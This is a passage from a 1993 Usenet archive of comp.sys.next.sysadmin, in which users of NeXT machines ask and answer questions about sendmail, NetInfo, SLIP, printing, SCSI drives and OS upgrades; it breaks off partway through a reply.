Organization: oliver endrikat - freier informatiker
References: <1993May6.134904.20221@bmw.mayo.edu>
Distribution: usa
Date: Sun, 9 May 1993 12:51:15 GMT
In article <1993May6.134904.20221@bmw.mayo.edu> layhe@niman.mayo.edu
(robert w. layhe) writes:
: i need to be able to strip off the host name when i send mail so
: that the from address is
:
: layhe@mayo.edu rather than layhe@niman.mayo.edu
: i have configured sendmail.cf using Dj$w whichi thought would do
: it but to no avail. i have also tried various other variations
: of setting the macros in the sendmail.cf file but have been
: unsuccessful. have set Dm to mayo.edu, etc. etc. if anyone
: could offer me advice or suggestions, would greatly appreciate
: it.
:
: thanks,
:
: robert
I recently had a alike problem. None of the changes made to
/etc/sendmail/sendmail.cf had any effect.
After some time I discovered an entry in NetInfo under Programms/sendmail
which hardwired sendmail to use /etc/sendmail/sendmail.subsidiary. So
perhaps you too do apply your changes at the wrong place.
Another thing is that you probably do not change the right macro.
Take a look at the rule for from adresses associated with the mailer you
use upstream to your mail server. This S22 for the ddn mailer and S13 for
uucp. There is one rule with pads on the senders host name. This is the
place where it really happens and where you can see what happens.
The last point: If you deliver your mail to a central mail server this one
probably recognizes you as a host local to his domain, discards all your
generated from adress and reconstructs it along his own thoughts. Perhaps
he inserts your host name because he doesn't export his own spool
directory to you. In this case talk to the postmaster of your server.
A last hint: The config file /etc/sendmail/sendmail.sharedsubidiary.cf
should handle the case where the client uses the spool file of the master.
And exactly this case is where you don't need to append your hostname.
Perhaps this one is appropiate for you.
greetings
oliver
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| oliver endrikat
| freier informatiker
|____________________________________________________________
|
7778 markdorf |
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| oliver endrikat
| freier informatiker
|____________________________________________________________
Newsgroups: comp.sys.next.sysadmin
From: lscheer@netcom.com (Lyle Scheer)
Subject: gettytab help?
Message-ID: <lscheerC6rtHz.Jpt@netcom.com>
Summary: other machine calling my slip account failing to log on
Keywords: SLIP, gettytab, callback
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Sun, 9 May 1993 17:49:11 GMT
Howdy all!
I'm trying to set up a SLIP account between my NeXT at home and my
place of work. They do connections by callback, so I've set up a user account
that will launch SLIP when the remote system calls my NeXT and logs in. I'm
having problems getting the remote system to log in.
Occasionally, I get messages on the console when I try this telling
me that "username" failed to log in.... so it's giving the username correctly
some of the time but failing to enter the password.
I even let it call me back while I was connected to a terminal so that
I could simulate being my NeXT. I noticed that it would consistanty enter the
username correctly after I typed "login:" to it, but it would only send me the
password after I typed "<cr>Password:". Nothing less worked.
I'm assuming that the remote machine isn't seeing the right strings, so
it just fails to log on and hangs up. Is there anything I can do with gettytab
to make this reliable??? Specifcally, can I somehow insure that there is a
carriage return sent before the login program sends the "Password:" string?
- Lyle (lscheer@netcom.com)
Newsgroups: comp.sys.next.sysadmin
From: benk@ie1next.me.umn.edu (Benjamin Koo)
Subject: Strange IB behavior! Help!
Message-ID: <C6s0L5.KEE@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota
Date: Sun, 9 May 1993 20:18:49 GMT
Hello:
I just encountered a very strange problem. I added some palettes
to IB, quit IB and restart it again. The first few times, it works fine.
Later on, it starts saying that the palette file does not exist. Although
it is actually there. Then, it just stopped to run. I mean, it quits
running immediately after I starts it. I tried to use other accounts to
initiate IB, the other accounts works fine. Is there any file in my
personal directory is guffing it up?
BTW, I am using NS2.2 on a MonoStation. (Non-Turbo)
Thanks in advance!
Ben
Newsgroups: comp.sys.next.sysadmin
From: mark@xexos.com (Mark Chamberlain)
Subject: Re: netinfo across routers ??
Message-ID: <1993May9.200815.13910@xexos.com>
Sender: news@xexos.com
Organization: Xexos, Ltd (London)
References: <GISLI.93May8001919@liapunov.eecs.umich.edu>
Distribution: usa
Date: Sun, 9 May 1993 20:08:15 GMT
In article <GISLI.93May8001919@liapunov.eecs.umich.edu>
gisli@liapunov.eecs.umich.edu (Gisli Ottarsson) writes:
>
>
> I have been asked to connect a NeXT computer to my humble network
> running netinfo. However, this new machine is in another domain.
>
> Is this a problem for netinfo? Can a machine IP 141.212.137.131
> be a netinfo client of a netinfo server IP 141.212.98.130?
Not a real problem. 2 ways :-
The best solution is to put a clone server on the new segment, in your case,
put a clone server on segment 137. You have to put in an early router in
/etc/rc that adds the router address, before netinfo tries to start up.
Your alternative is to enable UDP forwarding on ports 666, 667 and 668 on your
router. Those are the ports that Netinfo clients/servers use for their initial
conversations on bootup.
The clone idea is cleaner. It means the only machines sending netinfo across
the router are the server and the clone-server sending each other new netinfo
changes.
Mark
--
Mark Chamberlain +44 71 237 4535
Xexos Ltd fax +44 71 231 0844
London mark@xexos.com
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Cnews,bnews,INN Which one
Date: 9 May 1993 22:07:45 +0100
Organization: me organized? That's a joke!
Message-ID: <1sjrr1$kg7@steffi.demon.co.uk>
References: <1993May2.065625.274@pyrian.com> <1993May4.181950.1883@nidat.sub.org> <C6KutG.22B@pilhuhn.ka.sub.org>
I fetch my news via my feeds nntp port and INN really screams. I can
help with installation too :-)
--
Real programmers don't create classes, they build hierarchies.
(me)
"If it doesn't compile and run emacs, it's not a computer."
(Erik C. Sowa)
From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: netinfo across routers ??
Date: 10 May 1993 01:04:53 GMT
Organization: The University of Maryland, College Park
Distribution: usa
Message-ID: <1sk9nl$cro@ni.umd.edu>
References: <GISLI.93May8001919@liapunov.eecs.umich.edu> <1993May9.200815.13910@xexos.com>
In article <1993May9.200815.13910@xexos.com> mark@xexos.com writes:
>> I have been asked to connect a NeXT computer to my humble network
>> running netinfo. However, this new machine is in another domain.
You mean on another network. Domains are altogether something different.
>> Is this a problem for netinfo? Can a machine IP 141.212.137.131
>> be a netinfo client of a netinfo server IP 141.212.98.130?
Sure. We do this a the University of Maryland, but not in either of
the two ways below. Just list the netinfo server in the local
domain's hosts, and give it the "serves" property for "..", just like
broadcasthost has.
>Not a real problem. 2 ways :-
>
>The best solution is to put a clone server on the new segment, in your case,
>put a clone server on segment 137. You have to put in an early router in
>/etc/rc that adds the router address, before netinfo tries to start up.
Yuk. If you have NeXT scattered across 5 different networks, you might prefer
to not have clones everywhere.
>Your alternative is to enable UDP forwarding on ports 666, 667 and 668 on your
>router. Those are the ports that Netinfo clients/servers use for their initial
>conversations on bootup.
Yuk again, IMHO. Stamp out gratuatous use of broadcast! This would
be an ideal use for IP Multicast. Perhaps we'll see support for it
some day.
>The clone idea is cleaner. It means the only machines sending netinfo across
>the router are the server and the clone-server sending each other new netinfo
>changes.
The problem with clones is that other workstations will "gang up" on
them, and you probably want them to be somewhat reliable and not
rebooted all the time. This would be fine if you had a NeXT as a file
server on each subnnetwork of NeXTs, but many folks want fast file
servers and buy other brands of hardware that (thankfully) don't run
Netinfo.
Louis Mamakos
Univ. of Maryland
Newsgroups: comp.sys.next.sysadmin
From: sam@musical.fdn.org (Sam Przyswa)
Subject: Carrier whatching...
Message-ID: <1993May9.220442.521@musical.fdn.org>
Sender: sam@musical.fdn.org
Organization: Rock'n Jazz BBS - (The Music Land)
Date: Sun, 9 May 1993 22:04:42 GMT
Hi everybody, I have to put a Fido mailer in front end instead of
getty and make a bypass to the regular login, but when I run /bin/login from
the mailer, the system don t watch the carrier and if an User drop the carrier
during the session, the tty don t send a SIGHUP and I have to kill the
process. Other problem in the same case the User logged with this method is
not registred on the system (who).
Have you any explanation, and what can I do to fix this problem.
Thanks in advance.
--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sam Przyswa << Rock©n Jazz BBS >>
E-Mail: sam@musical.fdn.org Paris FidoNet: 2:320/102
--<NeXTmail accepted 10Ko max>-- France Music & Midi BBS
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin,comp.protocols.appletalk
Subject: Cap6.0 on NeXT (compile help)
Date: 10 May 1993 15:26:13 GMT
Organization: University of Houston
Message-ID: <1sls6l$622@menudo.uh.edu>
If you are seeing the following errors when you try to compile CAP60 on the
NeXT running NeXTSTEP 3.0 :
(cd lwsrv; make)
cc -O -DNeXT -DADDRINPACK -DLWSRV_LPR_LOG -DSTAT_CACHE -DTREL_TIMEOUT
-DUSE_HOST_ICON -DDOCNAME -DPAGECOUNT=512 -DSFLOWQ=1 -c lwsrv.c
lwsrv.c: In function `childjob':
lwsrv.c:1122: request for member `w_S' in something not a structure or union
lwsrv.c:1122: request for member `w_T' in something not a structure or union
*** Exit 1
Stop.
(cd papif; make)
cc -O -DNeXT -DADDRINPACK -DLWSRV_LPR_LOG -DSTAT_CACHE -DTREL_TIMEOUT
-DUSE_HOST_ICON -DCHARGEBANNER -DMACUSER -DIDLESTUFF -DDOCNAME
-DPAGECOUNT=512 -DSFLOWQ=1 -c papif.c
papif.c: In function `reaper':
papif.c:687: request for member `w_S' in something not a structure or union
papif.c:692: request for member `w_S' in something not a structure or union
papif.c:692: request for member `w_T' in something not a structure or union
*** Exit 1
Stop.
(cd aufs; make)
cc -DNETWORKTRASH -O -DNeXT -DADDRINPACK -DLWSRV_LPR_LOG -DSTAT_CACHE
-DTREL_TIMEOUT -DUSE_HOST_ICON -c aufs.c
aufs.c: In function `gcinferior':
aufs.c:1110: request for member `w_S' in something not a structure or union
aufs.c:1113: request for member `w_S' in something not a structure or union
aufs.c:1113: request for member `w_T' in something not a structure or union
*** Exit 1
Stop.
Then you need to do the following changes:
lwsrv.c: 1122
change
if (WIFEXITED(waitstatus.w_status)) {
to
if (WIFEXITED(waitstatus)) {
papif.c:687
change
if (WIFSTOPPED(status.w_status)) {
to
if (WIFSTOPPED(status)) {
papif.c:692
change
if (WIFSIGNALED(status.w_status)) {
to
if (WIFSIGNALED(status)) {
aufs.c:1110
change
} else if (WIFSTOPPED(cp->status.w_status)) {
to
} else if (WIFSTOPPED(cp->status)) {
aufs.c:1113
change
} else if (WIFSIGNALED(cp->status.w_status)) {
to
} else if (WIFSIGNALED(cp->status)) {
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
From: gary@msu.edu (Gary J LaPointe)
Newsgroups: comp.sys.next.sysadmin
Subject: How many users can I have?
Date: 10 May 1993 16:05:17 GMT
Organization: Michigan State University
Message-ID: <1sluft$eq4@msuinfo.cl.msu.edu>
How many users can I have connecting to a NeXT at once without the machine
dragging down?
I know this will vary by machine & memory but I don't know if 10 people on
at once on a 12MB cube is too much or if I can go to 100?
I know it will vary by howmany are logged on too, I just wanted some
suggestions. Ballpark figures will do.
If people mailed to me directly, I will summarize.
Thanks,
Gary
** Please reply to the below address, my newsreader goofs up the from field **
Gary J LaPointe
gary@ah3.cal.msu.edu
Michigan State University
Center For Integrative Studies, Arts & Humanities
Newsgroups: comp.sys.next.sysadmin
From: Neil Greene <neil@kynug.org>
Subject: Netinfo: NeXT Printer problems
Message-ID: <1993May10.143057.913@kynug.org>
Sender: neil@kynug.org (Neil Greene)
Organization: Kentucky NeXT User Group, Inc.
Date: Mon, 10 May 1993 14:30:57 GMT
Before disconnecting the NeXT laser printer from our server, I changed its
status to "unavailable". Since reconnecting the printer and rebooting the
machine, I have not been able to change the status of this printer to
"available" once again.
When running PrintManager, no printers show up to modify. Selecting
"create" is ok; but, the NeXT 400dpi Laser Printer is dimmed so I cannot
create another printer.
Does anyone have any suggestions??
--
Neil Greene
President, Kentucky NeXT User Group, Inc.
Email: neil@kynug.org [NeXTMail]
From: daugher@cs.tamu.edu(Walter C. Daugherity)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: NewsGrazer question
Date: 10 May 1993 18:41:50 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1sm7le$ol3@tamsun.tamu.edu>
Keywords: mthreads
I'm running NewsGrazer Release 2.0, Version 72.2, and have just been informed
that my news server "is now using the NOV database and would like to get rid of
mthreads soon." Does that mean anything for me, e.g., does NewsGrazer use NOV
or mthreads? E-mail appreciated.
Thanks!
--
Walter C. Daugherity Internet, NeXTmail: daugher@cs.tamu.edu
Texas A & M University uucp: uunet!cs.tamu.edu!daugher
College Station, TX 77843-3112 BITNET: DAUGHER@TAMVENUS
---Not an official document of Texas A&M---
From: gary@msu.edu (Gary J LaPointe)
Newsgroups: comp.sys.next.sysadmin
Subject: How many users can I have?
Date: 10 May 1993 18:58:25 GMT
Organization: Michigan State University
Message-ID: <1sm8kh$qdl@msuinfo.cl.msu.edu>
[ Article crossposted from comp.sys.next.hardware ]
[ Author was Gary J LaPointe ]
[ Posted on 10 May 1993 18:57:35 GMT ]
I (gary@msu.edu) wrote:
: How many users can I have connecting to a NeXT at once without the machine
: dragging down?
:
: I know this will vary by machine & memory but I don't know if 10 people on
: at once on a 12MB cube is too much or if I can go to 100?
:
: I know it will vary by how many are logged on too, I just wanted some
: suggestions. Ballpark figures will do.
:
Someone asked me a few significant questions, so I thought I'd add them
Most people will be doing mail & net news.
Maybe telnetting & ftping and downloading, but mostly mail (mayber gopher too)
Right now with 5 people telnetting in it's not bad as long as no one
is logged in.
By the way my machine has 16MB (not 12MB) it just got upgraded over lunch.
If people mailed to me directly, I will summarize.
Thanks,
Gary
** Please reply to below address, my newsreader goofs up the from field **
--
Gary J LaPointe
gary@ah3.cal.msu.edu
Michigan State University
Center For Integrative Studies, Arts & Humanities
--
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gary@ah3.cal.msu.edu
Michigan State University
Center For Integrative Studies, Arts & Humanities
Newsgroups: comp.sys.next.sysadmin
From: abell@netcom.com (Steven T. Abell)
Subject: Changing hostname the right way
Message-ID: <abellC6tt29.DAA@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Distribution: na
Date: Mon, 10 May 1993 19:34:56 GMT
OK, I admit it: I cheated.
I edited /etc/hostconfig directly, and I got burned.
I know I deserved it. I'm ready to repent.
So I reloaded hostconfig from the 3.0 CD-ROM,
and used HostManager to change the name.
But the program that wouldn't run,
supposedly because I had changed the hostname sleazily,
still won't run.
Is there anything else I need to do?
Also, when my machine is starting up,
there is a strange message in the boot sequence, something like
DPS Client Library can't form connection to host local host
Is this related? Is it toxic? How can I fix this?
Sorry for being clueless,
Steve abell@netcom.com
Newsgroups: comp.sys.next.sysadmin
From: reed@prism.sps.mot.com (Tim Reed)
Subject: Landscape printing on NextPrinter
Message-ID: <1993May10.213936.26329@newsgate.sps.mot.com>
Keywords: printer landscape
Sender: usenet@newsgate.sps.mot.com
Organization: SPS
Date: Mon, 10 May 1993 21:39:36 GMT
Is there a way to force the NextPrinter to print in landscape
orientaion? I would like to add another print queue to allow printing
in landscape but I don't want to lose the ability to print in
portrait. Is this possible with only 1 printer.
--
----------------------------------------------------------
Tim Reed Motorola SPS
PRISM CIM Systems Administrator 2100 E. Elliot Rd.
email: reed@prism.sps.mot.com MD: EL606
Phone: 602-897-4703 Tempe, AZ. 85282
Fax: 602-897-3549
Newsgroups: comp.sys.next.sysadmin
From: neil@ms.uky.edu (Neil Greene)
Subject: Re: Netinfo: NeXT Printer problems
Message-ID: <C6u92J.Kn4@ms.uky.edu>
Organization: Kentucky NeXT User Group, Inc.
References: <1993May10.143057.913@kynug.org>
Date: Tue, 11 May 1993 01:20:42 GMT
Neil Greene <neil@kynug.org> writes:
>Before disconnecting the NeXT laser printer from our server, I changed its
>status to "unavailable". Since reconnecting the printer and rebooting the
>machine, I have not been able to change the status of this printer to
>"available" once again.
>When running PrintManager, no printers show up to modify. Selecting
>"create" is ok; but, the NeXT 400dpi Laser Printer is dimmed so I cannot
>create another printer.
>Does anyone have any suggestions??
Well, for some strange reason, netinfo just did not want to deal with this
printer. So, I manually recreated the necessary netinfo dirs. Has anyone
else had any problems with netinfo printers after chaning the status of a
printer to "unavailable"?
From: rabahya@yang.earlham.edu
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Maintaining Prefrences settings.
Message-ID: <1993May10.205852.23293@yang.earlham.edu>
Date: 10 May 93 20:58:52 EST
Organization: Earlham College, Richmond, Indiana
Hi you NeXT wizards out there !!
I'm having a problem with the settings of my prefrences (mouse, sound,
keyboard.. etc) Whenever I login I have to set these things and then after I
logout they go back to somekind of a default setting, and it's a pain setting
them everytime I login... Any suggestions to what could be causing this
problem?
Thanks...
|-----------------------------------------------------------------------------|
| Jack Rabah |RabahYa@Yang.Earlham.EDU | (317)- |
| Earlham College, Drawer # 1542 |RabahYa@Yang.bitnet | 973- |
| Richmond, IN 47374 |JACK@math.Earlham.EDU (NeXT)| 2016|
|-----------------------------------------------------------------------------|
From: reb@aa.ans.net (R. Eric Bennett)
Newsgroups: comp.sys.next.sysadmin
Subject: npd dying
Date: 11 May 1993 02:43:16 GMT
Organization: Advanced Network & Services - Elmsford, NY
Message-ID: <1sn3s4$355@terminator.rs.itd.umich.edu>
Keywords: npd
I've got a NeXT Cube running 2.0 in my office, serving primarily as a
print server. However, it occasionally just stops printing.
I've noticed that this seems to be a result of /usr/lib/NextPrinter/npd
having died. Yet, once restarted, printing rarely starts up again. Some
degree of finagling is required to get it to work once again (and it seems
like pfm when it does).
If I down the queue, start npd, and up the queue, npd dies again. If
I run npd while an npcomm process is running, they never talk (or
at least nothing ever prints) and both processes go to sleep.
What am I doing wrong?
Why does npd keep dying (without syslogging nonetheless)?
Is there a permanent fix?
thanks,
eric
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Netinfo: NeXT Printer problems
Message-ID: <C6uFLp.Kqu@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <1993May10.143057.913@kynug.org> <C6u92J.Kn4@ms.uky.edu>
Date: Tue, 11 May 1993 03:41:49 GMT
In article <C6u92J.Kn4@ms.uky.edu> neil@ms.uky.edu (Neil Greene) writes:
>Neil Greene <neil@kynug.org> writes:
>
>>Before disconnecting the NeXT laser printer from our server, I changed its
>>status to "unavailable". Since reconnecting the printer and rebooting the
>>machine, I have not been able to change the status of this printer to
>>"available" once again.
>
>>When running PrintManager, no printers show up to modify. Selecting
>>"create" is ok; but, the NeXT 400dpi Laser Printer is dimmed so I cannot
>>create another printer.
>
>>Does anyone have any suggestions??
>
>Well, for some strange reason, netinfo just did not want to deal with this
>printer. So, I manually recreated the necessary netinfo dirs. Has anyone
>else had any problems with netinfo printers after chaning the status of a
>printer to "unavailable"?
>
I had it happen after an upgrade from 2.1 to 3.0.
-rob
francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin
From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos)
Subject: NS 3.0 and Fax acknowledgement
Message-ID: <1993May10.192713.18747@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Mon, 10 May 1993 19:27:13 GMT
Since upgrading to NS 3.0 a few days ago, our users are no longer
receiving an e-amil acknowledgement of their outgoing faxes (when the
"Receipt" option is checked).
We have modified the configuration of the fax/modem, as per 3.0's new
approach to the management and delivery of faxes (though I did not see
any config otions that relate to the acknowledgement of *outgoing*
faxes).
Thanks for any tips,
Phil
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Systems Administrator, Princeton University Libraries
voice: 609-258-5183 fax: 609-258-5571
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: NewsGrazer question
In-Reply-To: daugher@cs.tamu.edu's message of 10 May 1993 18:41:50 GMT
To: daugher@cs.tamu.edu(Walter C. Daugherity)
Message-ID: <CEDMAN.93May10164735@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1sm7le$ol3@tamsun.tamu.edu>
Date: Mon, 10 May 1993 20:47:35 GMT
In article <1sm7le$ol3@tamsun.tamu.edu> daugher@cs.tamu.edu(Walter C. Daugherity) writes:
I'm running NewsGrazer Release 2.0, Version 72.2, and have just
been informed that my news server "is now using the NOV database
and would like to get rid of mthreads soon." Does that mean
anything for me, e.g., does NewsGrazer use NOV or mthreads?
That means nothing to you. As NewsGrazer is too primitive to do any
kind of threading except by alphabetically sorted Subject: line, the
change in thread database doesn't affect you in the slightest.
Carl Edman
From: rabahya@yang.earlham.edu
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: Maintaining Prefrences settings.(solved)
Message-ID: <1993May10.233049.23294@yang.earlham.edu>
Date: 10 May 93 23:30:49 EST
References: <1993May10.205852.23293@yang.earlham.edu>
Organization: Earlham College, Richmond, Indiana
In article <1993May10.205852.23293@yang.earlham.edu>, rabahya@yang.earlham.edu w
> Hi you NeXT wizards out there !!
>
> I'm having a problem with the settings of my prefrences (mouse, sound,
> keyboard.. etc) Whenever I login I have to set these things and then after I
> logout they go back to somekind of a default setting, and it's a pain setting
> them everytime I login... Any suggestions to what could be causing this
> problem?
>
> Thanks...
Well the respond that solved this problem was :
> From: IN%"kent@mnementh.cs.mcgill.ca" "Kent Tse"
> To: IN%"rabahya@YANG.EARLHAM.EDU"
> CC:
> Subj: RE: Maintaining Prefrences settings.
>
> Hello,
>
> Your problem seems to be that your home directory and your .NeXT
> directory are not executable by everyone. Run the following
> command and this should fix your problem permanently.
>
> % chmod og+x ~ ~/.NeXT
>
> This will give everyone execute permissions on your home
> directory and the .NeXT directory which hold your preferences.
> Hope this helps.
>
> - Kent
Well what I did is I set the prev on my home dir:
1 drwx--x--x 14 jack other 1024 May 10 21:54 jack/
and on the .NeXT dir:
1 drwxr-xr-x 5 jack other 1024 May 10 22:00 .NeXT/
and this way my account would be protected and I'd be able to have the
prefrences always set the way I like them to be !!
Thanks for those of you who replied .
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| Earlham College, Drawer # 1542 |RabahYa@Yang.bitnet | 973- |
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From: isbell@cats.ucsc.edu (Art Isbell)
Newsgroups: comp.sys.next.sysadmin
Subject: no login panel on NeXTstation Color upgraded to 3.1 PR1
Date: 11 May 1993 06:44:38 GMT
Organization: Cubic Solutions - NeXT software development and consulting
Distribution: world
Message-ID: <1sni0mINNrnv@darkstar.UCSC.EDU>
After running 3.1 PR1 for a few weeks on a Cube that had 3.1 installed from
CD-ROM on a new external hard disk (i.e., not an upgrade, a builddisk), we
decided to upgradea couple of additional machines, a NeXTstation Color and
Color Turbo, both running 3.0. Unfortunately, we tried to use a NEC CDR72
CD-ROM drive which reports a 0 block size, but NeXT has apparently tried to
deal with this bogus report. However, the first upgrade didn't complete
successfully with many errors due to the inability to copy many files from the
CD-ROM to the hard disk. So we used a NeXT CD-ROM drive, initialized the hard
disk, and did a builddisk from the 3.1 User CD-ROM. This worked fine.
We then upgraded the Turbo using the NeXT CD-ROM drive with no errors.
However, on the automatic reboot after the upgrade, no login panel appeared.
A subsequent reboot in verbose mode indicated no problems and the login panel
appeared. However, in "normal" mode, no login panel appears, but the window
server is running because the mouse cursor is visible and movable. Booting in
verbose mode does not guaranty a successful boot, but the probability is better
than normal mode.
I just thought that maybe the "me" account is active and no longer has a
password for some reason. loginwindow may be trying to login directly to "me",
but Workspace is failing to start for some reason. I'll check that tomorrow.
Any other ideas?
--
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NeXT Registered Developer #745 NeXT software development and consulting
NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154
USmail: 95018-9442 Fax: (408)335-2515
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
From: rainer@ruble.fml.tuwien.ac.at (Rainer Staringer)
Subject: Problem with Micropolis SCSI drive
Message-ID: <1993May11.071229.7788@email.tuwien.ac.at>
Sender: news@email.tuwien.ac.at
Organization: Technical University of Vienna
Date: Tue, 11 May 1993 07:12:29 GMT
I have a very nasty problem with our Micropolis 1528-15MD1066702
1.3GB SCSI disk drive. This drive was used as the (internal) boot
disk in a NeXT cube for nearly a year without any problems. Yesterday
we had to return the cube to the NeXT reseller we had borrowed it from.
The cube had been used as a server in our network, so I had to transfer
the boot disk into one of our NeXTstations and use that as the server.
There is of course not enough room inside the NeXTstation for a full
height drive, so I put the drive into an old PC case (to get power and
cooling) and connected it to the NeXTstation's *internal* SCSI bus by
using a longer cable (~ 40 cm) and routing that cable to the outside,
and then into the PC case. The station's internal 100MB Quantum drive
is still installed and used as a swap disk.
Everything seemed to work fine, but then I noticed that at random times
(intervals range from a few minutes to half an hour, depending on the
frequency of disk accesses) the Micropolis drive will make that click
noise, *spin down*, and then up again! The NeXT gets IO-errors in the
meantime, or retries the last command until the drive is no longer busy.
The problem is not with termination (I removed the terminators from
the Quantum drive and the Micropolis is now the last drive in the chain),
and the SCSI cable has to be ok, because it has been used in a Mac for ages
without any problems.
Does anybody have an idea what could cause this sort of problem? Is there
a conflict between the Quantum and the Micropolis SCSI implementations,
or is the NeXTstation's internal SCSI bus limited to only one device?
Or is there some sort of safety mechanism in the Micropolis drive which
causes it to spin down when it gets too warm? (The drive doesn't feel
particularly hot to the touch, though.)
Thanks for reading this far!
Rainer
--
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Newsgroups: comp.sys.next.sysadmin
From: jaeger.ka.sub.org!stephan (Stephan Jaeger)
Subject: SyQuest and Cube ?
Message-ID: <1993May10.224510.345@jaeger.ka.sub.org>
Sender: stephan@jaeger.ka.sub.org
Organization: Stephan's Unox Bastelladen
Date: Mon, 10 May 1993 22:45:10 GMT
Hello people out there in NeXTland,
last week-end, I bought a SyQuest-555-device and a 44MB-cartridge and
integrated it in my cube. The SCSI-ID of the new device, I switched to '2'.
But now, I have trouble while booting. The system recognizes that there is a
SyQuest and recognizes the right SCSI-ID, too, but that's all.
After that, I get the error-message 'invalid label' (in ROM-Monitor), which
causes the system to crash.
I labelled and formatted it using '/usr/etc/disk', so now I can boot and log
in. But after logging in, the SyQuest is not shown in the directory, what
(perhaps) means, that it is not mounted. But when I want to mount, I get this
output:
/stephan > mount /dev/sd1a /usr
mount: /dev/sd1a on /usr: Device busy
mount: giving up on:
/usr
Exit 16
/stephan >
Why is the device busy ?
Can I configure the system, that I can change cartridges while being logged in
?
Can I use the SyQuest like a CD-ROM-player or like a floppy-device ?
Are there differences, whether I install a SCSI-device internally or externally
?
Has someone made other experiences with SyQuest-devices ?
Thanks in advance.
Stephan Jaeger
--
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Contact: Stephan Jaeger, Rheinstr.40, D-76185 Karlsruhe 21
Tel & Fax : +49 721 554293
e-mail : stephan@jaeger.ka.sub.org
Newsgroups: comp.sys.next.sysadmin
From: mark@xexos.com (Mark Chamberlain)
Subject: Re: netinfo across routers ??
Message-ID: <1993May10.124250.15159@xexos.com>
Sender: news@xexos.com
Organization: Xexos, Ltd (London)
References: <1sk9nl$cro@ni.umd.edu>
Distribution: usa
Date: Mon, 10 May 1993 12:42:50 GMT
In article <1sk9nl$cro@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos)
writes:
> >
> >The best solution is to put a clone server on the new segment, in your case,
> >put a clone server on segment 137. You have to put in an early router in
> >/etc/rc that adds the router address, before netinfo tries to start up.
>
> Yuk. If you have NeXT scattered across 5 different networks, you might
prefer
> to not have clones everywhere.
Yeah, its not appropriate where you might only have one or two NeXTs on those 5
different networks, but where you have say 5 subnets of machines, each with a
bunch of NeXTs on them, and only want to use a flat netinfo domain system (or
have more than one subnet of machines in the same domain), its the neatest way.
--
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Xexos Ltd fax +44 71 231 0844
London mark@xexos.com
Newsgroups: comp.sys.next.sysadmin
From: jr@sade.ka.sub.org (Jochen Richter)
Subject: Re: no login panel on NeXTstation Color upgraded to 3.1 PR1
References: <1sni0mINNrnv@darkstar.UCSC.EDU>
Date: Tue, 11 May 1993 10:25:40 GMT
Organization: The home of the Pilhuhn
Sender: news@pilhuhn.ka.sub.org (Das Newssystem auf pilhuhn)
Message-ID: <C6uyAs.79o@pilhuhn.ka.sub.org>
In article <1sni0mINNrnv@darkstar.UCSC.EDU> isbell@cats.ucsc.edu (Art Isbell)
writes:
>
> appeared. However, in "normal" mode, no login panel appears, but the window
> server is running because the mouse cursor is visible and movable. Booting
in
> verbose mode does not guaranty a successful boot, but the probability is
better
> than normal mode.
This is a known problem and has to do with nmserver and/or loadable kernel
servers.
Try "sleep 5" after the nmserver call in /etc/rc. Or boot single user and type
exit.
--
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Germany jr@resy.kfk.de (>50K)
From: Ward_Travis@transarc.com
Newsgroups: comp.sys.next.sysadmin
Subject: Experiences with USR Sportster?
Date: Tue, 11 May 1993 08:29:38 -0400
Organization: Carnegie Mellon, Pittsburgh, PA
Message-ID: <MfvtkmD0BwyOBVImYo@transarc.com>
I aske din .hardware, s now I'm asking here: if you've had any
experiences using a USR Sportser modem with NS 3.0, please tell me what
you thought of it. I'm most interested in fax compatibility and
Zmodem/CU-Kermit transfer rates (and SLIP experiences, if you tried it).
Thanks! A summary will follow.
--
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travis@transarc.com (412) 338 4388 labor knows." - R. Frost
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
From: cedman@princeton.edu (Carl Edman)
Subject: Re: Problem with Micropolis SCSI drive
In-Reply-To: rainer@ruble.fml.tuwien.ac.at's message of Tue, 11 May 1993 07:12:29 GMT
To: rainer@ruble.fml.tuwien.ac.at (Rainer Staringer)
Message-ID: <CEDMAN.93May11083556@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1993May11.071229.7788@email.tuwien.ac.at>
Date: Tue, 11 May 1993 12:35:56 GMT
In article <1993May11.071229.7788@email.tuwien.ac.at> rainer@ruble.fml.tuwien.ac.at (Rainer Staringer) writes:
Does anybody have an idea what could cause this sort of problem? Is there
